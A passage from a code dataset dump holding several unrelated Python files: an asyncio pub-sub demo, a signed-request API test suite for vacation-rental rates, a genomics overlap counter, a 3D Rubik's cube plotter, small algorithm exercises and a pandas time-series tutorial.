self.subs:\n self.subs[k] = set()\n self.subs[k].add(q)\n\n while True:\n msg = await q.get()\n if not msg:\n break\n yield msg\n except:\n raise\n finally:\n self.subs[k].remove(q)\n\n print(f'subscribe done: {k}')\n\n async def close(self):\n print('closing')\n for s in self.subs.values():\n for q in s:\n await q.put(None)\n\n\ndef main():\n try:\n loop = asyncio.get_event_loop()\n except:\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n ps = PubSub()\n\n async def talk(keys):\n for n in range(5):\n for k in keys:\n await asyncio.sleep(1)\n await ps.publish(k, n)\n\n await ps.close()\n print('talk: done')\n\n async def listen(k):\n async for x in ps.subscribe(k):\n print(k, x)\n print(f'listen {k}: done')\n\n async def mon():\n await asyncio.sleep(10)\n print('mon: done')\n\n aws = {\n talk(('junk', 'pig')),\n listen('junk'),\n listen('pig'),\n mon(),\n }\n loop.run_until_complete(asyncio.wait(aws, timeout=15))\n\n print('main: done')\n\n\nif __name__ == '__main__':\n patch.patch()\n main()\n","sub_path":"async5.py","file_name":"async5.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"161874315","text":"import collections\nimport datetime\nimport hashlib\nimport hmac\nimport json\nimport logging\nimport unittest\nimport uuid\n\nimport pytz\nimport requests\n\n\nPOSSIBLE_CURRENCIES = {'AUD', 'CAD', 'CHF', 'EUR', 'GBP', 'SEK', 'THB', 'USD'}\nMIN_STAY_VIOLATION = 'MIN_STAY_VIOLATION'\nTURNOVER_VIOLATION = 'TURNOVER_VIOLATION'\nCHECKOUT_DAY_VIOLATION = 'CHECKOUT_DAY_VIOLATION'\nDATE_RANGE_UNAVAILABLE = 'DATE_RANGE_UNAVAILABLE'\nVIOLATION_CODES = {MIN_STAY_VIOLATION, TURNOVER_VIOLATION, DATE_RANGE_UNAVAILABLE, CHECKOUT_DAY_VIOLATION}\nTURNOVER_DAYS = {'MONDAY', 'TUESDAY', 'WEDNESDAY', 'THURSDAY', 'FRIDAY', 'SATURDAY', 'SUNDAY'}\nERROR_REASONS = {'PROPERTY_INACTIVE', 'DATE_RANGE_INVALID', 'PARTY_SIZE_INVALID', 'RATE_UNAVAILABLE', 'OTHER'}\n\n# TODO: Update the following variables to match your system\nSECRET_KEY = 'abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789'\nBASE_URL = 'https://example.com'\nPATH = '/path/to/your/endpoint'\nEXTERNAL_LISTING_REFERENCE = 'abc123'\nEXTERNAL_ACCOUNT_REFERENCE = 'xyz123'\n\nCLIENT_NAME = 'tripadvisor-vr'\nTIMESTAMP_FORMAT = '%Y-%m-%dT%H:%M:%SZ'\nSIGNATURE_FORMAT = \"VRS-HMAC-SHA512 timestamp={timestamp}, client={client}, signature={signature}\"\nQUERY_STRING_FORMAT = 'guests={guests}&externalListingReference={external_listing_reference}&externalAccountReference={external_account_reference}&arrival={arrival}&departure={departure}&requestId={request_id}'\n\nlogging.basicConfig(\n format='%(asctime)s %(levelname)s %(funcName)s %(message)s',\n level=logging.INFO\n)\n\nQueryParameters = collections.namedtuple(\n 'QueryParameters',\n [\n 'guests',\n 'external_listing_reference',\n 'external_account_reference',\n 'arrival',\n 'departure',\n ]\n)\n\n# TODO: Update the following test inputs to match your system\n# Comment out a top-level key, value pair to skip that particular test\nTEST_CASES = {\n 'successful_response': QueryParameters(\n guests=7,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-07-01',\n departure='2018-08-01',\n ),\n 'min_stay_violation': QueryParameters(\n guests=16,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-01',\n departure='2018-08-05',\n ),\n 'date_range_unavailable_violation': QueryParameters(\n guests=17,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-01',\n departure='2018-08-02',\n ),\n 'turnday_violation': QueryParameters(\n guests=18,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-02',\n departure='2018-08-03',\n ),\n 'checkout_day_violation': QueryParameters(\n guests=19,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-02',\n departure='2018-08-03',\n ),\n 'property_inactive_error': QueryParameters(\n guests=10,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-03',\n departure='2018-08-04',\n ),\n 'date_range_invalid_error': QueryParameters(\n guests=11,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-03',\n departure='2018-08-04',\n ),\n 'party_size_invalid_error': QueryParameters(\n guests=12,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-03',\n departure='2018-08-04',\n ),\n 'other_error': QueryParameters(\n guests=13,\n external_listing_reference=EXTERNAL_LISTING_REFERENCE,\n external_account_reference=EXTERNAL_ACCOUNT_REFERENCE,\n arrival='2018-08-03',\n departure='2018-08-04',\n ),\n}\n\n\nclass AssistedRateSpecTest(unittest.TestCase):\n s = requests.Session()\n\n def _send_request(self, request):\n \"\"\"\n\n :type request: requests.PreparedRequest\n :rtype: tuple[requests.Response, dict|None]\n :return: tuple[response, response body as dict, if present]\n\n \"\"\"\n\n response = self.s.send(request)\n\n try:\n body = response.json()\n except ValueError:\n body = None\n\n if response.status_code == 200:\n self.validate_200_response(body)\n elif response.status_code == 400:\n self.validate_400_response(body)\n else:\n raise RuntimeError('Unexpected HTTP response code')\n\n return response, body\n\n def validate_200_response(self, body):\n if 'eligibility' in body:\n self.validate_eligiblity_content(body)\n \n if 'details' in body:\n self.validate_details_content(body)\n else:\n self.validate_details_content(body)\n \n \n def validate_details_content(self, body):\n self.assertIn('details', body)\n\n details = body['details']\n\n self.assertIn('baseRate', details)\n self.assertGreater(details['baseRate']['amount'], 0)\n self.assertIn(details['baseRate']['currency'], POSSIBLE_CURRENCIES)\n\n self.assertIn('tax', details)\n self.assertGreaterEqual(details['tax']['amount'], 0)\n self.assertIn(details['tax']['currency'], POSSIBLE_CURRENCIES)\n\n if 'deposit' in details:\n self.assertGreater(details['deposit']['amount'], 0)\n self.assertIn(details['deposit']['currency'], POSSIBLE_CURRENCIES)\n\n if 'customFees' in details:\n self.assertGreaterEqual(len(details['customFees']), 1)\n\n for custom_fee in details['customFees']:\n self.assertGreaterEqual(len(custom_fee['name']), 1)\n self.assertLessEqual(len(custom_fee['name']), 255)\n\n self.assertGreater(custom_fee['rate']['amount'], 0)\n self.assertIn(custom_fee['rate']['currency'], POSSIBLE_CURRENCIES)\n\n self.assertEqual(\n {'baseRate', 'tax', 'deposit', 'customFees'} | set(details.keys()),\n {'baseRate', 'tax', 'deposit', 'customFees'}\n )\n \n def validate_eligiblity_content(self, body):\n self.assertIn('tripViolations', body['eligibility'])\n self.assertEqual(set(body['eligibility'].keys()), {'tripViolations'})\n\n trip_violations = body['eligibility']['tripViolations']\n\n self.assertGreaterEqual(len(trip_violations), 1)\n self.assertEqual(\n len(trip_violations),\n len(set([trip_violation['violationCode'] for trip_violation in trip_violations]))\n )\n\n for trip_violation in trip_violations:\n self.assertIn(trip_violation['violationCode'], VIOLATION_CODES)\n\n if trip_violation['violationCode'] == TURNOVER_VIOLATION:\n self.assertEqual(set(trip_violation.keys()), {'violationCode', 'turnover'})\n self.assertIn(trip_violation['turnover'], TURNOVER_DAYS)\n elif trip_violation['violationCode'] == MIN_STAY_VIOLATION:\n self.assertEqual(set(trip_violation.keys()), {'violationCode', 'minStay'})\n self.assertIsInstance(trip_violation['minStay'], int)\n self.assertGreater(trip_violation['minStay'], 1)\n elif trip_violation['violationCode'] == CHECKOUT_DAY_VIOLATION:\n self.assertEqual(set(trip_violation.keys()), {'violationCode', 'checkoutDays'})\n self.assertIsInstance(trip_violation['checkoutDays'], list)\n self.assertGreater(len(trip_violation['checkoutDays']), 0)\n self.assertTrue(set(trip_violation['checkoutDays']).issubset(set(TURNOVER_DAYS)))\n else:\n self.assertEqual(set(trip_violation.keys()), {'violationCode'})\n\n def validate_400_response(self, body):\n self.assertIn('errors', body)\n\n errors = body['errors']\n\n self.assertGreaterEqual(len(errors), 1)\n\n for error in errors:\n self.assertEqual(\n {'reason', 'description'} | set(error.keys()),\n {'reason', 'description'}\n )\n\n self.assertIn('reason', error)\n self.assertIn(error['reason'], ERROR_REASONS)\n\n if 'description' in error:\n self.assertGreaterEqual(len(error['description']), 1)\n self.assertLessEqual(len(error['description']), 255)\n\n self.assertEqual(\n len(errors),\n len(set([e['reason'] for e in errors]))\n )\n\n @unittest.skipIf('successful_response' not in TEST_CASES, 'Test case not implemented')\n def test_successful_response(self):\n response, body = self._send_request(_get_request(TEST_CASES['successful_response']))\n\n self.assertEqual(response.status_code, 200)\n\n @unittest.skipIf('min_stay_violation' not in TEST_CASES, 'Test case not implemented')\n def test_min_stay_violation(self):\n response, body = self._send_request(_get_request(TEST_CASES['min_stay_violation']))\n\n self.assertEqual(response.status_code, 200)\n\n min_stay_violations = [\n v for v in body['eligibility']['tripViolations']\n if v['violationCode'] == 'MIN_STAY_VIOLATION'\n ]\n\n self.assertEqual(len(min_stay_violations), 1)\n\n @unittest.skipIf('date_range_unavailable_violation' not in TEST_CASES, 'Test case not implemented')\n def test_date_range_unavailable(self):\n response, body = self._send_request(_get_request(TEST_CASES['date_range_unavailable_violation']))\n\n self.assertEqual(response.status_code, 200)\n\n date_range_unavailable_violations = [\n v for v in body['eligibility']['tripViolations']\n if v['violationCode'] == 'DATE_RANGE_UNAVAILABLE'\n ]\n\n self.assertEqual(len(date_range_unavailable_violations), 1)\n\n @unittest.skipIf('turnday_violation' not in TEST_CASES, 'Test case not implemented')\n def test_turnday(self):\n response, body = self._send_request(_get_request(TEST_CASES['turnday_violation']))\n\n self.assertEqual(response.status_code, 200)\n\n turnover_violations = [\n v for v in body['eligibility']['tripViolations']\n if v['violationCode'] == 'TURNOVER_VIOLATION'\n ]\n\n self.assertEqual(len(turnover_violations), 1)\n\n @unittest.skipIf('checkout_day_violation' not in TEST_CASES, 'Test case not implemented')\n def test_checkout_day_violation(self):\n response, body = self._send_request(_get_request(TEST_CASES['checkout_day_violation']))\n\n self.assertEqual(response.status_code, 200)\n\n checkout_day_violations = [\n v for v in body['eligibility']['tripViolations']\n if v['violationCode'] == 'CHECKOUT_DAY_VIOLATION'\n ]\n\n self.assertEqual(len(checkout_day_violations), 1)\n\n @unittest.skipIf('property_inactive_error' not in TEST_CASES, 'Test case not implemented')\n def test_property_inactive_error(self):\n response, body = self._send_request(_get_request(TEST_CASES['property_inactive_error']))\n\n self.assertEqual(response.status_code, 400)\n\n self.assertIn('errors', body)\n\n property_inactive_errors = [\n v for v in body['errors']\n if v['reason'] == 'PROPERTY_INACTIVE'\n ]\n\n self.assertEqual(len(property_inactive_errors), 1)\n\n @unittest.skipIf('date_range_invalid_error' not in TEST_CASES, 'Test case not implemented')\n def test_date_range_invalid_error(self):\n response, body = self._send_request(_get_request(TEST_CASES['date_range_invalid_error']))\n\n self.assertEqual(response.status_code, 400)\n\n self.assertIn('errors', body)\n\n property_inactive_errors = [\n v for v in body['errors']\n if v['reason'] == 'DATE_RANGE_INVALID'\n ]\n\n self.assertEqual(len(property_inactive_errors), 1)\n\n @unittest.skipIf('party_size_invalid_error' not in TEST_CASES, 'Test case not implemented')\n def test_party_size_invalid_error(self):\n response, body = self._send_request(_get_request(TEST_CASES['party_size_invalid_error']))\n\n self.assertEqual(response.status_code, 400)\n\n self.assertIn('errors', body)\n\n property_inactive_errors = [\n v for v in body['errors']\n if v['reason'] == 'PARTY_SIZE_INVALID'\n ]\n\n self.assertEqual(len(property_inactive_errors), 1)\n\n @unittest.skipIf('other_error' not in TEST_CASES, 'Test case not implemented')\n def test_other_error(self):\n response, body = self._send_request(_get_request(TEST_CASES['other_error']))\n\n self.assertEqual(response.status_code, 400)\n\n self.assertIn('errors', body)\n\n property_inactive_errors = [\n v for v in body['errors']\n if v['reason'] == 'OTHER'\n ]\n\n self.assertGreaterEqual(len(property_inactive_errors), 1)\n\n\ndef _get_request(query_parameters):\n now = datetime.datetime.now(tz=pytz.UTC)\n body = ''\n\n query_string = QUERY_STRING_FORMAT.format(\n guests=query_parameters.guests,\n external_account_reference=query_parameters.external_account_reference,\n external_listing_reference=query_parameters.external_listing_reference,\n arrival=query_parameters.arrival,\n departure=query_parameters.departure,\n request_id=uuid.uuid4()\n )\n\n r = requests.Request(\n 'GET',\n \"{}{}?{}\".format(BASE_URL, PATH, query_string),\n )\n\n signature = SIGNATURE_FORMAT.format(\n timestamp=now.strftime(TIMESTAMP_FORMAT),\n client=CLIENT_NAME,\n signature=_get_signature(\n r.method,\n PATH,\n query_string,\n now,\n body,\n )\n )\n\n r.headers['Authorization'] = signature\n\n logging.info(\n \"Request {}\".format(json.dumps({\n 'url': r.url,\n 'method': r.method,\n 'path': PATH,\n 'query_string': query_string,\n 'body': body,\n 'timestamp': now.strftime(TIMESTAMP_FORMAT),\n 'client': CLIENT_NAME,\n 'secret': SECRET_KEY,\n 'signature': signature,\n }))\n )\n\n return r.prepare()\n\n\ndef _get_signature(\n method,\n path,\n query_string,\n timestamp,\n body\n):\n canonical_request = '\\n'.join([\n method,\n path,\n query_string,\n timestamp.strftime(TIMESTAMP_FORMAT),\n hashlib.sha512(body.encode('utf-8')).hexdigest()\n ])\n\n canonical_request_hash = hashlib.sha512(canonical_request.encode('utf-8')).hexdigest()\n\n return hmac.new(SECRET_KEY.encode('utf-8'), canonical_request_hash.encode('utf-8'), hashlib.sha512).hexdigest()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"AssistedRateSpecTest.py","file_name":"AssistedRateSpecTest.py","file_ext":"py","file_size_in_byte":15247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"120917364","text":"import sys, os\n\n# The purpose of this script is to take in a directory of txt files from the UpSet tool (set directory), and output the number of variants in each of the 6 possibilities:\n# 1. 6/6 overlap\n# 2. 5/6 overlap\n# 3. 4/6 overlap\n# 4. 3/6 overlap\n# 5. 2/6 overlap\n# 6. 1/6 overlap\n\n\ndef CountLinesInFile(infilename):\n\tinfile = open(infilename,'r')\n\tlines=infile.readlines()\n\tvarCount=len(lines)\n\treturn varCount\n\n\ndef ReadDirIntoArray(dirname):\n\tfileList=os.listdir(dirname)\n\tprint(fileList)\n\treturn fileList\n\n# This function will return a set number from a filename.\n# File names look like this:\n#000011_Family5_Family6.txt \ndef DefineSetNumberFromFilename(filename):\n\tcols=filename.split('_')\n\tvector=cols[0]\n\tOneCount = 0\n\tfor i in range(len(vector)):\n\t\tif vector[i]=='1':\n\t\t\tOneCount+=1\n\tlabel = str(OneCount)\n\treturn label\n\n# Takes the list of files and prints out our dictionary\ndef ArrayOfFiles2Dict(fileList,dirName):\n\t# initialize a dictionary, where the keys are overlaps (6 - 6/6 overlaps, 5: 5/6 overlaps...etc)\n\tFileDict={'1':0,'2':0,'3':0,'4':0,'5':0,'6':0}\n\tfor each in fileList:\n\t\tif each[-3:] != 'txt':\n\t\t\tcontinue\n\t\tvarCount=CountLinesInFile('%s%s'%(dirName,each))\n\t\tlabel = DefineSetNumberFromFilename(each)\n\t\tFileDict[label]+=varCount\n\treturn FileDict\n\ndef PrintDict(FileDict):\n\tfor i in range(1,7):\n\t\tIntersect=str(i)\n\t\tprint(\"%s\\t%d\"%(Intersect,FileDict[Intersect]))\n\ndef Main():\n\tprint(\"DominantDamaging\")\n\tdirName='/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_DominantDamaging_INTERVENE_UPSET/sets/'\n\tfileList = ReadDirIntoArray('/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_DominantDamaging_INTERVENE_UPSET/sets/')\n\tFileDict = ArrayOfFiles2Dict(fileList,dirName)\n\tPrintDict(FileDict)\n\n\tprint(\"RecessiveDamaging\")\n\tdirName='/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_RecessiveDamaging_INTERVENE_UPSET/sets/'\n\tfileList = ReadDirIntoArray('/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_RecessiveDamaging_INTERVENE_UPSET/sets/')\n\tFileDict = ArrayOfFiles2Dict(fileList,dirName)\n\tPrintDict(FileDict)\n\n\tprint(\"DominantProtective\")\n\tdirName='/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_DominantProtective_INTERVENE_UPSET/sets/'\t\n\tfileList = ReadDirIntoArray('/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_DominantProtective_INTERVENE_UPSET/sets/')\n\tFileDict = ArrayOfFiles2Dict(fileList,dirName)\n\tPrintDict(FileDict)\n\n\tprint(\"RecessiveProtective\")\n\tdirName='/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_RecessiveProtective_INTERVENE_UPSET/sets/'\n\tfileList = ReadDirIntoArray('/Users/philliprichmond/Dropbox/Grad_School/ALD/GATK_HC/All_VarLevel_RSid_RecessiveProtective_INTERVENE_UPSET/sets/')\n\tFileDict = ArrayOfFiles2Dict(fileList,dirName)\n\tPrintDict(FileDict)\n\n\n\treturn\n\nif __name__==\"__main__\":\n\tMain()\n\n\n\n\n","sub_path":"PYTHON/UpSetDir2IntersectCountsGATKHC.py","file_name":"UpSetDir2IntersectCountsGATKHC.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"171845495","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection\nimport time\n\n\ndef TransposeSlicesMatrix(Mat, N):\n reMat = [[None for i in range(N)] for j in range(N)]\n for i in range(N):\n for j in range(N):\n reMat[i][j] = Mat[j][i]\n\n return reMat\n\n\ndef RotateSlicesMatrix(Mat, N, direction):\n reMat = [[None for i in range(N)] for j in range(N)]\n if direction == 1:\n # clock-wise rotate the matrix\n for i in range(N):\n for j in range(N):\n reMat[i][j] = Mat[N - j - 1][i]\n elif direction == -1:\n # counter clock-wise rotate the matrix\n for i in range(N):\n for j in range(N):\n reMat[i][j] = Mat[j][N - i - 1]\n return reMat\n\n\nclass Slice(object):\n def __init__(self, vertices, clr, num, face):\n self.vertices = vertices\n self.clr = clr\n self.num = num\n self.face = face\n\n\ndef slice_move(vert_init, stepArr):\n vert = np.copy(vert_init)\n for i in range(4):\n for j in range(3):\n vert[i][j] = vert_init[i][j] + stepArr[j]\n return vert\n\n\ndef Init_Slices_Obtain(vert_init, direction, N, clr, face):\n # obtain vertices from the initial piece of every face\n Vert_Mat = [[j for j in range(N)] for i in range(N)]\n a = 0\n b = 0\n count = 1\n for i in range(N * direction[0] + 1 - direction[0]):\n for j in range(N * direction[1] + 1 - direction[1]):\n for k in range(N * direction[2] + 1 - direction[2]):\n SliceVertices = slice_move(vert_init, [i, j, k])\n Vert_Mat[a][b] = Slice(SliceVertices, clr, count, face)\n b = b + 1\n if b % N == 0:\n a = a + 1\n b = 0\n count += 1\n return Vert_Mat\n\n\ndef verticesMatExtractArr(Vert_Mat, N):\n Vert_Arr = [None] * N * N\n for i in range(N):\n for j in range(N):\n Vert_Arr[i * N + j] = Vert_Mat[i][j].vertices\n return Vert_Arr\n\n\nclass RubikFace(object):\n def __init__(self, face, N):\n vert_init = []\n direction = []\n self.face = face\n self.N = N\n self.vert_Mat = [[None] * N] * N\n self.vert_Arr = [None] * N * N\n self.clr_Mat = [[None] * N] * N\n self.clrArr = [None] * N * N\n\n transpose_mat = None\n rotate_mat = None\n clr_init = 'k'\n if face == 'F':\n vert_init = [[self.N, 0, 0], [self.N, 1, 0], [self.N, 1, 1], [self.N, 0, 1]]\n direction = [0, 1, 1]\n clr_init = 'r'\n transpose_mat = [None]\n rotate_mat = [-1]\n elif face == 'D':\n vert_init = [[0, 0, 0], [1, 0, 0], [1, 1, 0], [0, 1, 0]]\n direction = [1, 1, 0]\n clr_init = 'w'\n transpose_mat = ['T']\n rotate_mat = [-1]\n elif face == 'B':\n vert_init = [[0, 0, 0], [0, 1, 0], [0, 1, 1], [0, 0, 1]]\n direction = [0, 1, 1]\n clr_init = 'm'\n transpose_mat = ['T']\n rotate_mat = [None]\n elif face == 'U':\n vert_init = [[0, 0, self.N], [1, 0, self.N], [1, 1, self.N], [0, 1, self.N]]\n direction = [1, 1, 0]\n clr_init = 'y'\n transpose_mat = [None]\n rotate_mat = [None]\n elif face == 'L':\n vert_init = [[0, 0, 0], [0, 0, 1], [1, 0, 1], [1, 0, 0]]\n direction = [1, 0, 1]\n clr_init = 'b'\n transpose_mat = [None]\n rotate_mat = [-1]\n elif face == 'R':\n vert_init = [[0, self.N, 0], [0, self.N, 1], [1, self.N, 1], [1, self.N, 0]]\n direction = [1, 0, 1]\n clr_init = 'c'\n transpose_mat = ['T']\n rotate_mat = [1, 1]\n # obtain the vertices matrices from the initial slice, by generating step by step\n vertice_Mat = Init_Slices_Obtain(vert_init, direction, self.N, clr_init, face)\n\n # rotate the matrix that adapting the view of the screen\n for i in transpose_mat:\n if i:\n vertice_Mat = TransposeSlicesMatrix(vertice_Mat, self.N)\n for i in rotate_mat:\n if i:\n vertice_Mat = RotateSlicesMatrix(vertice_Mat, self.N, i)\n\n # set the vertices matrix to the class object\n self.vert_Mat = vertice_Mat\n self.vert_Arr = verticesMatExtractArr(self.vert_Mat, self.N)\n\n self.clrArr = [clr_init for i in range(N * N)] # initial color of the pieces\n\n def face_update(self, clrMat):\n # update the face color by the given color matrix\n # the color matrix contains numbers, we translate them here to unify the color of the rubik.\n self.clr_Mat = clrMat\n Arr = [None] * self.N * self.N\n count = 0\n for i in range(self.N):\n for j in range(self.N):\n if clrMat[i][j] % 10 == 1:\n Arr[count] = 'r'\n elif clrMat[i][j] % 10 == 2:\n Arr[count] = 'w'\n elif clrMat[i][j] % 10 == 3:\n Arr[count] = 'm'\n elif clrMat[i][j] % 10 == 4:\n Arr[count] = 'y'\n elif clrMat[i][j] % 10 == 5:\n Arr[count] = 'b'\n elif clrMat[i][j] % 10 == 6:\n Arr[count] = 'c'\n count += 1\n self.clrArr = [row[:] for row in Arr]\n\n\nclass Rubik3D(object):\n def __init__(self, N, RubikMatrix):\n # initial value\n self.RubikMatrix = RubikMatrix\n self.N = N\n self.Face_F = RubikFace('F', N)\n self.Face_D = RubikFace('D', N)\n self.Face_B = RubikFace('B', N)\n self.Face_U = RubikFace('U', N)\n self.Face_L = RubikFace('L', N)\n self.Face_R = RubikFace('R', N)\n\n self.update_clr(RubikMatrix)\n\n # 3D plot first configuration, draw the cubes, edges, initial colors.\n self.fig = plt.gcf()\n self.fig.clf()\n\n self.ax = self.fig.add_subplot(111, projection='3d')\n\n self.poly_F = Poly3DCollection(self.Face_F.vert_Arr)\n self.poly_F.set_facecolor(self.Face_F.clrArr)\n self.poly_F.set_edgecolor(\"black\")\n self.ax.add_collection3d(self.poly_F)\n\n self.poly_D = Poly3DCollection(self.Face_D.vert_Arr)\n self.poly_D.set_facecolor(self.Face_D.clrArr)\n self.poly_D.set_edgecolor(\"black\")\n self.ax.add_collection3d(self.poly_D)\n\n self.poly_B = Poly3DCollection(self.Face_B.vert_Arr)\n self.poly_B.set_facecolor(self.Face_B.clrArr)\n self.poly_B.set_edgecolor(\"black\")\n self.ax.add_collection3d(self.poly_B)\n\n self.poly_U = Poly3DCollection(self.Face_U.vert_Arr)\n self.poly_U.set_facecolor(self.Face_U.clrArr)\n self.poly_U.set_edgecolor(\"black\")\n self.ax.add_collection3d(self.poly_U)\n\n self.poly_L = Poly3DCollection(self.Face_L.vert_Arr)\n self.poly_L.set_facecolor(self.Face_L.clrArr)\n self.poly_L.set_edgecolor(\"black\")\n self.ax.add_collection3d(self.poly_L)\n\n self.poly_R = Poly3DCollection(self.Face_R.vert_Arr)\n self.poly_R.set_facecolor(self.Face_R.clrArr)\n self.poly_R.set_edgecolor(\"black\")\n self.ax.add_collection3d(self.poly_R)\n\n def update_clr(self, RubikMatrix):\n # update by initial input matrix\n self.Face_F.face_update(RubikMatrix.F)\n self.Face_D.face_update(RubikMatrix.D)\n self.Face_B.face_update(RubikMatrix.B)\n self.Face_U.face_update(RubikMatrix.U)\n self.Face_L.face_update(RubikMatrix.L)\n self.Face_R.face_update(RubikMatrix.R)\n\n def draw3DCube(self):\n self.poly_F.set_facecolor(self.Face_F.clrArr)\n self.poly_D.set_facecolor(self.Face_D.clrArr)\n self.poly_B.set_facecolor(self.Face_B.clrArr)\n self.poly_U.set_facecolor(self.Face_U.clrArr)\n self.poly_L.set_facecolor(self.Face_L.clrArr)\n self.poly_R.set_facecolor(self.Face_R.clrArr)\n\n self.ax = self.fig.gca()\n\n self.ax.set_xlim(0, self.N)\n self.ax.set_ylim(0, self.N)\n self.ax.set_zlim(0, self.N)\n # ax.set_facecolor('white')\n # plt.axis('off')\n self.ax.view_init(30, -30)\n\n self.fig.canvas.draw()\n self.fig.canvas.flush_events()\n time.sleep(0.5)\n\n return self.fig\n","sub_path":"DisplayClass.py","file_name":"DisplayClass.py","file_ext":"py","file_size_in_byte":8382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"584589841","text":"def solution(participant,completion):\n dict_part = {}\n for p in participant:\n try:\n dict_part[p] += 1\n except:\n dict_part[p] = 1\n for c in completion:\n dict_part[c] -= 1\n \n for k,v in dict_part.items():\n if v > 0:\n return k\n\np = ['marina', 'josipa', 'vinko', 'vinko', 'filipa']\nc = ['josipa', 'filipa', 'marina', 'vinko']\n\nprint(solution(p,c))","sub_path":"programmers/cantcomplete.py","file_name":"cantcomplete.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"637448589","text":"import unittest\nimport numpy as np\n\nfrom numba_munkres import munkres\n\n\nclass TestMunkres(unittest.TestCase):\n def test_munkres_finds_lowest_cost_assignment(self):\n square = np.array([\n [1, 2, 3],\n [2, 4, 6],\n [3, 6, 9]\n ])\n optimal_assignment = np.array([\n [0, 0, 1],\n [0, 1, 0],\n [1, 0, 0]\n ], dtype=bool)\n np.testing.assert_array_equal(munkres(square), optimal_assignment)\n\n def test_munkres_returns_same_shape(self):\n rectangle = np.array([\n [1, 2, 3],\n [4, 5, 6]\n ])\n self.assertEqual(munkres(rectangle).shape, rectangle.shape)\n","sub_path":"numba_munkres/test/test_munkres.py","file_name":"test_munkres.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"342493083","text":"import argparse\nimport json\nfrom pprint import pprint\n\nap = argparse.ArgumentParser()\nap.add_argument('json_file', help='path to json file to display',\n nargs='?',\n default='../data/search_result-0b844514-8ee3-11e9-9bfb-080027183839.json')\nargs = ap.parse_args()\n\n\nif __name__ == '__main__':\n data = json.load(open(args.json_file, 'r'))\n pprint(data)\n","sub_path":"talpa/scripts/show.py","file_name":"show.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"581311260","text":"import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\nmy_year = 2017\nmy_month = 1\nmy_day = 2\nmy_hour = 13\nmy_minute = 30\nmy_second = 15\n\nmy_date = datetime(my_year, my_month, my_day, my_hour, my_minute, my_second)\nmy_date.day # gives 2\n\nfirst_two = [datetime(2017, 1, 2), datetime(2017, 1, 3)]\n\n# Create date time index\ndatetime_index = pd.DatetimeIndex(first_two)\n\ndata = np.random.randn(2, 2)\ncols = [\"a\", \"b\"]\n\ndf = pd.DataFrame(data, datetime_index, cols)\ndf.index.argmax() # last date\ndf.index.max() # give final date\n\n########### Time Resampling ###########\n\n# Option 1\ndf_2 = pd.read_csv(\"Apple.csv\")\n\ndf_2[\"Date\"] = pd.to_datetime(df_2[\"Date\"])\ndf_2.info() # Show data types --- good for testing\ndf_2.set_index(\"Date\", inplace=True)\n\n# Option 2\ndf_3 = pd.read_csv(\"Apple.csv\", index_col=\"Date\", parse_dates=True)\n\n# Resample\ndf_2.resample(rule=\"A\").mean() # check documentation for RULE\ndf_2.resample(rule=\"Q\").mean()\n\n\ndef first_day(entry):\n return entry[0]\n\n\ndf_2.resample(rule=\"A\").apply(first_day)\n\ndf_2[\"Close\"].resample(rule=\"A\").mean().plot(kind=\"bar\", figsize=(16, 6))\nplt.show()\n\n########### Time Shifting ###########\ndf_2.shift(periods=1) # shift every data one day\ndf_2.tshift(freq=\"M\") # shift every day to the enf of month\n\n########### Pandas rolling and expanding ###########\n\ndf_2[\"Close 30 day MA\"] = df_2[\"Close\"].rolling(window=30).mean()\ndf_2[[\"Close\", \"Close 30 day MA\"]].plot(figsize=(16, 6))\n\ndf_2[\"Close\"].expanding().mean().plot(figsize=(16, 6))\n\n# Bollinger Bands\ndf_2[\"Close 20 day 